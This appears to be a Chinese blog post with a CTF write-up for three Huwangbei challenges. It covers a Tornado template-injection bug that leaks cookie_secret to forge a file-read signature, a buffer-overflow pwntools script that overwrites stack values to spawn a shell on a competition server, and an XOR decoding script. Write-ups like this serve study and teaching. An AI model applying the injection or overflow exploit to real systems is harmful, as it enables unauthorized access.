zoukankan      html  css  js  c++  java
  • 护网杯划水

    题目没有截图。

    WEB-easy tornado

    三个文件,给了3个提示文件。综合起来看,主要是读文件,不过需要一个参数signature,根据给出的提示文件的URL,signature就是提示中产生的MD5。所以还需要一个cookie_secret,cookie里没有,应该是隐含在服务器里了。render()提示应该是一个SSTI漏洞。撸了一下flag文件,报错,URL里出现了模板符号,印证了想法。然后去翻tornado文档,主要看模板和配置。文档说当前的请求内容主要放在handler对象里,试出来了一个handler.settings暴露参数,cookie_secret。两个参数:file为文件名,signature带上算出转换后的MD5访问文件,得到flag。

    PWN-gettingstart

    用 IDA 打开程序,整个解题思路就已经明摆在面前了,溢出buf达到pwn的目的。
    起shell的条件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)

    作为静态调试工具,IDA能F5插件能解析出来的,都能在程序里找得到。v8的十进制值0.1就是qword_c10对应的16进制值。

    主要覆盖的是v8,但波及到了v7,所以v7也要重写。相差0x18,也就是24。

    from pwn import *
    
    p = remote("49.4.78.31", 30482)
    p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
    p.interactive()
    

    MISC-迟来的签到题

    base64解码后异或

    import base64
    
    s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')
    
    for n in range(127):
        flag=''
        for i in s[:4]:
            flag += ''.join(chr(i ^ n))
        if 'flag' in flag:
            for i in s[4:]:
                flag += ''.join(chr(i ^ n))
            print(n)
            print(flag)
  • 相关阅读:
    判断arm立即数是否合法的小程序
    一个操作系统的实现:关于ALIGN的若干解释
    一个郁闷的C语言小问题
    test
    浮点数的比较
    一个操作系统的实现:Descriptor 3详解
    一个操作系统的实现:关于CPL、RPL、DPL
    C99可变长数组VLA详解
    SVProgressHUD 用法
    IOS CALayer 详解
  • 原文地址:https://www.cnblogs.com/xiao3c/p/9786296.html
Copyright © 2011-2022 走看看